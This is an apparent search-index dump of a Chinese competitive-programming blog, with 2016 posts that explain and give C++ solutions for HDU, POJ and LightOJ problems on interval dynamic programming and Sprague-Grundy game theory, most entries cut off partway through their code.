43 cin\u003e\u003eT; 44 while (T--) 45 { 46 scanf(\"%d\",\u0026n); 47 ms(dp,0); 48 for ( int i = 1 ; i \u003c= n ; i++) 49 for ( int j = 1 ; j \u003c= i ; j++) 50 scanf(\"%d\",\u0026a[i][j]); 51 52 for ( int i = 1 ; i \u003c= n ; i++) 53 dp[n][i] = a[n][i]; 54 55 for ( int i = n-1 ; i \u003e=1 ; i--) 56 for ( int j = 1 ; j \u003c= i ; j++) 57 dp[i][j] = max(dp[i+1][j],dp[i+1][j+1]) + a[i][j]; 58 59 printf(\"%d\\n\",dp[1][1]); 60 } 61 62 #ifndef ONLINE_JUDGE 63 fclose(stdin); 64 #endif 65 return 0; 66}","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/hdu-2084/","section":"Posts","summary":"hdu2084题目链接 题意：dp入门题。。。数字三角形。。 思路： 昨天看mit公开课。。。讲到dp的精髓是sub-problem+ reuse…","tags":["dp"],"title":"hdu 2084  数塔 (基础dp)","type":"post"},{"categories":["ACM"],"content":"hdu 4283题目链接 题意：有N个人按顺序排成一排上台表演，每个都有一个num[]值，若在他是第k个上场的人，则会有num[]*(k-1)的unhappiness。台下有一个黑屋（stack），对每一个人，可以选择让他先进屋子或者直接上台。现在让你找到一个最优方案使得所有人的unhappiness之和最小。 思路： 我想对了的： # 无。状态设计就错了。。。转移方程也就不可能对。。。 错的一塌糊涂。。。嗯。。基础题。。完全不会2333 参考题解：参考博客1 参考博客2 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月26日 星期二 15时03分41秒 4File Name :code/hdu/4283.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int a[N]; 36int sum[N]; 37int dp[N][N]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 int T; 45 cin\u003e\u003eT; 46 int cas = 0 ; 47 while (T--) 48 { 49 scanf(\"%d\",\u0026n); 50// cout\u003c\u003c\"n:\"\u003c\u003cn\u003c\u003cendl; 51 sum[0] = 0 ; 52 for ( int i = 1 ; i \u003c= n ; i++) 53 { 54 int x; 55 scanf(\"%d\",\u0026x); 56 a[i] = x; 57 sum[i] = sum[i-1] + x; 58 } 59 60 for ( int l = 2 ; l \u003c= n ; l++) //区间长度 61 for ( int i = 1 ; i+l-1 \u003c= n ; i++) //区间以第i人开始，以第j人结束。 62 { 63 int j = i+l-1;dp[i][j]=inf; 64 for ( int k = i ; k \u003c= j ; k++ ) //第i人可能在当前区间[i,j]中是第k-i+1个出场的。。。就是说在枚举出场顺序。。 65 dp[i][j] =min(dp[i][j],dp[i+1][k]+dp[k+1][j]+(k-i)*a[i]+(k-i+1)*(sum[j]-sum[k])); 66 67 // cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" j:\"\u003c\u003c\" dp[i][j]:\"\u003c\u003cdp[i][j]\u003c\u003cendl; 68 } 69 70 prin","date":"2016-07-26","externalUrl":null,"permalink":"/2016/07/hdu-4283/","section":"Posts","summary":"hdu 4283题目链接 题意：有N个人按顺序排成一排上台表演，每个都有一个num[]值，若在他是第k个上场的人，则会有num[]*(k-1)的unhappiness。台下有一个黑屋（stack），对每一个人，可以选择让他先进屋子或者直接上台。现在让你找到一个最优方案使得所有人的unhappiness之和最小。","tags":["dp","区间dp"],"title":"hdu 4283 You Are the One (区间dp)","type":"post"},{"categories":["ACM"],"content":"poj 3661题目链接 题意：锻炼，一共n分钟，每分钟可以选择跑步或者休息，第i分钟跑步可以跑d[i]米，并增加一点疲劳度，如果选择休息，那么每分钟减少1点疲劳值。一旦开始休息，必须休息到疲劳值为0才能再次开始跑步。疲劳值不能超过m.第n分钟的时候疲劳值必须为0，否则之后会感觉身体被掏空。问n分钟最远多多远。 思路： 我能想到的： # * dp[i][j]表示第i分钟疲劳度为j的时候能跑的最远距离 * 初始化dp为0. * 最后的答案为dp[n][0] * 如果第i分钟跑步，转移方程为dp[i][j] = max(dp[i][j],dp[i-1][j-1]+d[i]); 我想错了的： # * 休息的时候的转移方程应该是第i天刚好**休息好**时：dp[i][0]=max(dp[i-j][j],dp[i][0]) 而不是**开始休息**时 * 由于是第i天休息好时的状态，那么开始休息的时间是固定的（第i-j天），只进行一个转移，而不会影响中间的那些天 我想的不够好的： # * 考虑到了可能最后几天为了疲劳度为0干脆就不跑，我的做法是取了所有的dp[i][0]的最大值。但是更好的做法似乎是dp[i][0] = dp[i-1][0]转移一下。 参考博客：参考博客 参考题解： 分析：先设dp[i][j]表示小明在i分钟，疲劳值为j时所能走的最远距离。 a)、先看dp[i][0]的情况，表示第i分钟时，疲劳值为0，考虑这个值由哪些情况得到，1、dp[i][0] = dp[i-1][0]，这个没有任何问题。2、dp[i][0] = dp[i-j][j]。表示i-j分钟时的疲劳值为j，然后一直休息j分钟把疲劳值降成0。 b)、现在考虑dp[i][j]的情况，它可以由dp[i-1][j-1] + Di得到，表示第i分钟选择走Di。因为要保证没有后效性，所以只有这一种情况可以转移。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月25日 星期一 23时42分26秒 4File Name :code/poj/3661.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E4+7; 34const int M=505; 35int n; 36int m; 37int d[N]; 38int dp[N][M]; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 45// ios::sync_with_stdio(false); 46 ci","date":"2016-07-25","externalUrl":null,"permalink":"/2016/07/poj-3661-running-dp/","section":"Posts","summary":"poj 3661题目链接 题意：锻炼，一共n分钟，每分钟可以选择跑步或者休息，第i分钟跑步可以跑d[i]米，并增加一点疲劳度，如果选择休息，那么每分钟减少1点疲劳值。一旦开始休息，必须休息到疲劳值为0才能再次开始跑步。疲劳值不能超过m.第n分钟的时候疲劳值必须为0，否则之后会感觉身体被掏空。问n分钟最远多多远。","tags":["dp","区间dp"],"title":"poj 3661 Running (区间dp)","type":"post"},{"categories":["ACM"],"content":"poj 1651题目链接 题意：n个数，删掉a[i]的得分是a[i]*a[i-1]*a[i+1]，两个端点的不允许删。问删完n-2个数得到的最小分数是多少。 思路：能想到设计状态dp[i][j]表示区间[i,j]的最小分数。然后就没思路了。 T T 参考了几篇题解，思路大概是，枚举最后剩下的那个数。 **对于一个区间(l, r),如果最后删除的是k位置的数的话，将得到a[l]a[k]a[r]分，而要得到这个情况的前提是吧区间(l, k) 和(k, r)的中间数字删掉所以的转移方程是 **DP(l, r) = DP(l, k) + DP(k, r) + a[l]a[k]a[r]; 以及。。。初始化又想错了。。。 要注意。。初始化可能没办法一次完成。。。这道题的初始化就是分情况的。。。 对于区间长度不够的。。初始化为0.。 区间长度为3的。。初始化为a[i]*a[i+1]*a[i+2]。。 其他的初始化为正无穷。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月25日 星期一 22时44分55秒 4File Name :code/poj/1651.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int a[N]; 36int dp[N][N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ios::sync_with_stdio(false); 43 cin\u003e\u003en; 44 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 45 46 ms(dp,0x3f); 47 48 for ( int l = 1 ; l \u003c= n ; l++) 49 for ( int i = 1; i \u003c= n-l ; i++) 50 { 51 int j = i + l; 52 if (l==1) dp[i][j]=0; //分类初始化。。。 53 else 54 if (l==2) 55 dp[i][j] = a[i]*a[i+1]*a[i+2]; 56 else 57 for ( int k = i+1 ; k \u003c j ; k++) 58 dp[i][j] = min(dp[i][j],dp[i][k]+dp[k][j]+a[i]*a[j]*a[k]); //枚举最后剩下的数。 59 } 60 61 cout\u003c\u003cdp[1][n]\u003c\u003cendl; 62 63 #ifn","date":"2016-07-25","externalUrl":null,"permalink":"/2016/07/poj-1651/","section":"Posts","summary":"poj 1651题目链接 题意：n个数，删掉a[i]的得分是a[i]*a[i-1]*a[i+1]，两个端点的不允许删。问删完n-2个数得到的最小分数是多少。","tags":["dp","区间dp"],"title":"poj 1651 Multiplication Puzzle (区间dp)","type":"post"},{"categories":["ACM"],"content":"poj 3280 题目链接 题意：一个字符串，给出添加一个字符或者删掉该字符的花费，问最小的话费使得字符串变成回文串。 思路：dp[i][j]表示区间[i,j]的字符串变成回文的最小花费。。。 这个可以想到。。dp[i][j] = dp[i+1][j-1] (a[i]==a[j])这个也可以想到。。。 增加和删除是等价的，所以取小的那个代价就行。。这个我也想到了。。 然后转移的地方没有特别明白。。。 和之前的找到一个划分的点k不同的是。。。 如果不等于。。 那么 1, 2dp[i][j] = min(dp[i][j],dp[i+1][j]+cost[a[i]]); 3 dp[i][j] = min(dp[i][j],dp[i][j-1]+cost[a[j]]); 这个方程可以理解。。。但是感觉自己想不出来 QAQ 以及。。我初始化写错了。。。 以为是求 最小值就初始化成了0x3f… 但是这样是错的。。。 具体见代码注释。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月25日 星期一 19时42分19秒 4File Name :code/poj/3280.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E3+7; 32char s[N]; 33int dp[N][N]; 34int n,len; 35int cost[N]; 36int a[N]; 37int main() 38{ 39#ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41#endif 42 scanf(\"%d%d\",\u0026n,\u0026len); 43 scanf(\"%s\",s); 44 for ( int i = 0 ; i \u003c len ; i++) 45 { 46 a[i] = s[i]-'a'+1; 47 } 48 // for ( int i = 1 ; i \u003c= len ; i++) cout\u003c\u003c\"a[i]:\"\u003c\u003ca[i]\u003c\u003cendl; 49 getchar(); 50 for ( int i = 1 ; i \u003c= n ; i++) 51 { 52 char ch; 53 int val; 54 int x,y; 55 scanf(\"%c %d %d\\n\",\u0026ch,\u0026x,\u0026y); 56 val = ch-'a'+1; 57 cost[val]=min(x,y); 58 } 59 60 ms(dp,0); 61 //也告诉了我们。。。求最大最小和初始化成0还是正无穷没有关系。。。。要仔细分析。。 62 //初始化成0可","date":"2016-07-25","externalUrl":null,"permalink":"/2016/07/poj-3280/","section":"Posts","summary":"poj 3280 题目链接 题意：一个字符串，给出添加一个字符或者删掉该字符的花费，问最小的话费使得字符串变成回文串。","tags":["dp","区间dp"],"title":"poj 3280 Cheapest Palindrome (区间dp)","type":"post"},{"categories":["ACM"],"content":"light oj 1422 题目链接 题意： 按顺序去参加舞会。每个舞会对衣服都有要求。可以连续穿好多件衣服。需要时候就脱下来，但是一旦脱下来，这件衣服就报废了。问最少需要几件衣服。 思路：没有思路。我连这题是dp都看不出来。。知道是dp也一点思路都没。。虽然这道题是道区间dp的入门题。。。但是不怕被鄙视。。我一点也没思路。。 参考了10多篇题解。。。终于懂了一点。。 参考博客1 参考博客2 参考博客3 参考博客4 当a[i]和a[j]相等的时候 dp[i][j]=dp[i][j-1] 嗯，就这一个转移。然后就是区间dp的固定写法了。 这句话让我恍然大悟。。。难道。。都是套路？ dp[i][j]表示的是[i,j]之间最少需要的衣服数量。 初始化dp[i][i] = 1，表示每天都换一件新衣服，显然不优。 a[i]==a[j]时，dp[i][j] = dp[i][j-1] ，表示第j天不用新换衣服， 然后枚举划分区间的点k,分成[i,k]和[k+1,j]两部分，取所有情况中最好的（这大概就是区间dp的套路？） 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月25日 星期一 18时49分07秒 4File Name :code/loj/1422.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int dp[N][N]; 35int a[N]; 36int n; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 int T; 44 cin\u003e\u003eT; 45 int cas = 0 ; 46 while (T--) 47 { 48 ms(dp,0x3f); 49 scanf(\"%d\",\u0026n); 50 for ( int i = 1 ; i \u003c= n ; i++) dp[i][i] = 1; 51 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 52 53 for ( int l = 1 ; l \u003c= n ; l++) 54 for ( int i = 1 ; i \u003c= n ; i++ ) 55 { 56 int j = i+l; 57 if (j\u003en) continue; 58 if (a[i]==a[j]) dp[i][j] = dp[i][j-1]; 59 60 for ( int k = i ; k \u003c j ; k++) 61 dp[i][j] =","date":"2016-07-25","externalUrl":null,"permalink":"/2016/07/light-oj-1422-halloween-costumes-dp/","section":"Posts","summary":"light oj 1422 题目链接 题意： 按顺序去参加舞会。每个舞会对衣服都有要求。可以连续穿好多件衣服。需要时候就脱下来，但是一旦脱下来，这件衣服就报废了。问最少需要几件衣服。","tags":["dp","区间dp"],"title":"light oj 1422 - Halloween Costumes (区间dp)","type":"post"},{"categories":["ACM"],"content":"poj 1141题目链接 题意：给出一个括号序列，要求添加最少的括号，使得这个序列变成合法的括号匹配，输出最后的序列。 思路：区间dp。。。有了那么一点思路。。。我们可以用dp[i][j]表示区间[i,j]的序列最少需要添加几个符号使得匹配。。转移的话。。。和之前差不多。。dp[i][j] = dp[i+1][j-1] (s[i]与s[j])匹配。。。不匹配的话也是找中间某个点。。。初始化的话。。要变成最大值。。。比较没思路的是输出括号序列这部分。。。 参考了这篇题解：参考题解 记录路径的思路是。。。记录转移的点。。。 cut[i][j]表示的是区间[i,j]的最优值是由点cut[i][j]这里划分得到的。。。 cut[i][j]为-1表示区间[i,j]的最优值不是从中间分成两部分得到。。。 打印路径的时候。。。如果[i,j]的长度小于等于0.。直接return. 如果长度为1.。。直接输出。。。 如果长度大于1.。。。要分这段区间是否中间有划分两种情况。。具体见代码。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月25日 星期一 15时55分47秒 4File Name :code/poj/1141.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33char s[105]; 34int dp[105][105]; //dp[i][j]表示区间[i,j]最少需要添加多少字符达到匹配。 35int cut[105][105] ; //记录一段区间是在哪里断开最优，是为了记录路径，打印括号 36bool check(char a,char b) 37{ 38 if (a=='['\u0026\u0026b==']') return true; 39 if (a=='('\u0026\u0026b==')') return true; 40 return false; 41} 42 43void print(int i ,int j) 44{ 45 if (i\u003ej) return ; 46 if (i==j) 47 { 48 if (s[i]=='('||s[i]==')') printf(\"()\"); 49 if (s[i]=='['||s[i]==']') printf(\"[]\"); 50 return ; 51 } 52 if (cut[i][j]==-1) 53 { 54 printf(\"%c\",s[i]); 55 print(i+1,j-1); 56 printf(\"%c\",s[j]); 57 } 58 else 59 { 60 print(i,cut[i][j]); 61 print(cut[i]","date":"2016-07-25","externalUrl":null,"permalink":"/2016/07/poj-1141/","section":"Posts","summary":"poj 1141题目链接 题意：给出一个括号序列，要求添加最少的括号，使得这个序列变成合法的括号匹配，输出最后的序列。","tags":["区间dp","括号匹配"],"title":"poj 1141 Brackets Sequence (区间dp,括号匹配，记录路径)","type":"post"},{"categories":["ACM"],"content":"poj2955题目链接 题意：给出若干括号，问最大匹配数是多少。 思路：没有思路。我知道这是dp。。。然后其他就什么都不知道了。。。转移方程？ 完全没思路。。知道了转移方程。。。。嗯，还是不会。。。边界怎么写？状态怎么推？循环顺序? 循环次序？我一点思路都没有。。。。。 人生中第一道区间dp(这话我都说了不知道多少次了。。。每次都学不会。。。。sad) 我的dp水平和其他部分的水平还真是不匹配。。。 看了题解。。。自己写（抄）了一遍。。还是觉得好玄学。。。 细节见代码。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月25日 星期一 15时12分28秒 4File Name :code/poj/2955.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34char st[N]; 35int dp[N][N]; 36 37bool check(char a,char b) 38{ 39 //cout\u003c\u003c\"a:\"\u003c\u003ca\u003c\u003c\" b:\"\u003c\u003cb\u003c\u003cendl; 40 if((a=='['\u0026\u0026b==']')||(a=='('\u0026\u0026b==')')) return true; 41 return false; 42 43} 44int main() 45{ 46 #ifndef ONLINE_JUDGE 47 freopen(\"code/in.txt\",\"r\",stdin); 48 #endif 49 50 while (~scanf(\"%s\",st)) 51 { 52 if (st[0]=='e') break; 53 ms(dp,0); 54 int len = strlen(st); 55 56 for ( int l = 1 ; l \u003c len ; l++) //枚举区间长度,区间dp好像经常要这样？ 57 //区间长度要从小到大枚举，原因是计算较长区间的答案的时候，需要用到较短区间的值。 58 //所以要先算所有区间为1的，再算所有区间为2的... 59 for ( int i = 0 ,j = l ; j \u003c len ; i++,j++) 60 { 61 if(check(st[i],st[j])) 62 dp[i][j] = dp[i+1][j-1]+2; //如果当前匹配，那么匹配数在原有的基础（区间i+1到j-1）上+2 63 64 for ( int k = i ; k \u003c j ; k++) //由于区间具有累加性，意思是区间[i,j]的匹配数等于区间[i,k]和区间[k+1,j]的匹配数的和。 65 dp[i][j] = max(d","date":"2016-07-25","externalUrl":null,"permalink":"/2016/07/poj2955/","section":"Posts","summary":"poj2955题目链接 题意：给出若干括号，问最大匹配数是多少。 思路：没有思路。我知道这是dp。。。然后其他就什么都不知道了。。。转移方程？ 完全没思路。。知道了转移方程。。。。嗯，还是不会。。。边界怎么写？状态怎么推？循环顺序? 循环次序？我一点思路都没有。。。。。","tags":["dp","区间dp"],"title":"poj 2955 Brackets（区间dp....括号匹配。。。人生第一道区间dp）","type":"post"},{"categories":["ACM"],"content":"hdu 3980 题目链接 题意：一个有n个石子的环形串，初始没有被涂颜色，两个人轮流，涂连续m个没有被涂色的石子，不能操作的人为负。问先手是否有必赢策略。 思路：和hdu2999很像。。所不同的是。。。那道题是线型的珠子。。。这道题是环型的数字。。。 然而我们机智得发现。。。环形的任意涂一次。。就变成了线型的啊orz。。。 所以先随便取一次，然后剩下的n-m个按照线型串的方法搞，划分区间即可。 由于先随便取了一次，所以和线型的交换输赢的结论。。。 以及。。要特判一次都不能取的情况。。。2A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月23日 星期六 15时53分18秒 4File Name :code/hdu/3980.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n,m; 35bool vis[N]; 36int sg[N]; 37 38void sg_init(int m) 39{ 40 ms(sg,0); 41 for ( int i = 1 ; i \u003c N ; i++) 42 { 43 ms(vis,false); 44 45 int tmp = m; 46 tmp = i-m; 47 for ( int j = 0 ; tmp-j\u003e=j ; j++) 48 vis[sg[j]^sg[tmp-j]] = true; 49 50 for ( int k = 0 ; ;k++) 51 if (!vis[k]) 52 { 53 sg[i] = k; 54 break; 55 } 56 } 57 58} 59int main() 60{ 61#ifndef ONLINE_JUDGE 62 freopen(\"code/in.txt\",\"r\",stdin); 63#endif 64 65 66 67 int T; 68 cin\u003e\u003eT; 69 int cas = 0 ; 70 while (T--) 71 { 72 scanf(\"%d%d\",\u0026n,\u0026m); 73 if (n\u003cm) //特判一次都取不了的情况 74 { 75 printf(\"Case #%d: abcdxyzk\\n\",++cas); 76 continue; 77 } 78 sg_init(m); 79 80 n-=m; //环型的串任意取一次就变成了线型的。。。。 81 82 if (!sg[n]) //第一次不算在里面，所以输赢和线型的相反。。。 83 { 84 printf(\"Case #%d: aekdycoin\\n\",++cas); 85 ","date":"2016-07-23","externalUrl":null,"permalink":"/2016/07/hdu-3980/","section":"Posts","summary":"hdu 3980 题目链接 题意：一个有n个石子的环形串，初始没有被涂颜色，两个人轮流，涂连续m个没有被涂色的石子，不能操作的人为负。问先手是否有必赢策略。","tags":["sg函数","博弈论"],"title":"hdu 3980 Paint Chain (sg函数，环形串取石子)","type":"post"},{"categories":["ACM"],"content":"hdu2999题目链接 题意：有一串石子，给定一个集合S，每次只能拿连续x个石子，石子必须是在集合S中的数，问先手是否有必赢策略。需要注意石子的位置是不能变化的，也就是说如果一串连续的石子因为中间有石子被取走，那么这段石子就变成不连续的了，也就不能一次取走。 思路：一开始没有读懂题。需要特别强调的是。石子的位置是不能合并的。。 举个例子，如果我有5个石子，S={2},那么我取完一次剩下的情况是 {3,4,5}或者{1},{4,5}或者{1,2},{5}或者{1,2,3} 一共四种。 题意搞清楚以后就好做了。。类似于bomb game那道题。。我们仍然可以把取一次的操作拆分两个子过程，也就是两个区间。我们不关心区间具体的情况，只关心区间的长度。以及，取完只有一个区间的情况不需要特殊考虑，认为是长度为0就可以了，因为sg[0]为0，不影响答案。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月23日 星期六 15时02分17秒 4File Name :code/hdu/2999.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2005; 34int sg[N]; 35bool vis[N]; 36set\u003cint\u003eok; 37set\u003cint\u003e::iterator it ; 38int n; 39int q; 40 41 42void sg_init() 43{ 44 ms(sg,0); 45 46 for ( int i = 1 ; i \u003c N ; i++) 47 { 48 ms(vis,false); 49 50 for ( it = ok.begin() ; it!=ok.end() ; it++) 51 { 52 int tmp=*it; 53 tmp = i-tmp; 54 for ( int j = 0 ; tmp-j\u003e= j ; j++) 55 vis[sg[j]^sg[tmp-j]] = true; 56 } 57 58 for ( int k = 0 ; ; k++) 59 if (!vis[k]) 60 { 61 sg[i] = k; 62 break; 63 } 64 } 65} 66int main() 67{ 68 #ifndef ONLINE_JUDGE 69 freopen(\"code/in.txt\",\"r\",stdin); 70 #endif 71 72 while (~scanf(\"%d\",\u0026n)) 73 { 74 ok.clear(); 75// int mn = inf; 76 for ( int i = 1 ; ","date":"2016-07-23","externalUrl":null,"permalink":"/2016/07/hdu-2999/","section":"Posts","summary":"hdu2999题目链接 题意：有一串石子，给定一个集合S，每次只能拿连续x个石子，石子必须是在集合S中的数，问先手是否有必赢策略。需要注意石子的位置是不能变化的，也就是说如果一串连续的石子因为中间有石子被取走，那么这段石子就变成不连续的了，也就不能一次取走。","tags":["sg函数","博弈论"],"title":"hdu 2999 Stone Game, Why are you always there? (sg函数，线性串取石子)","type":"post"},{"categories":["ACM"],"content":"hdu 2873题目链接 题意：n*m个格子，有若干炸弹。对于在第一行或者第一列的炸弹，爆炸后会到那一行或者那一列的更前面（总的来说就是更靠近左上角）的位置。对于其他位置的炸弹，爆炸后会生成两个炸弹，分别到那一行的更前面或者那 一列的更前面。问先手是否有必赢策略。 思路： 不会做2333 参考了 参考博客1 参考博客2 大概明白了一点。整个游戏可以分为若干个炸弹的游戏的和，而实际上一个不在边界行或者列的炸弹，依然可以继续分，分成两个炸弹的和。而位于(i.j)的炸弹，分成两个炸弹的和，有(i-1)*(j-1)种方案（这个不重要2333） 处于边界行或者列的点的sg值我们是可以知道的。。因为规则单一。。和移动等价。。 然后根据边界来进一步处理一般的情况。。 有点类似dp的思想。。。？ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月23日 星期六 04时52分16秒 4File Name :code/hdu/2873.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 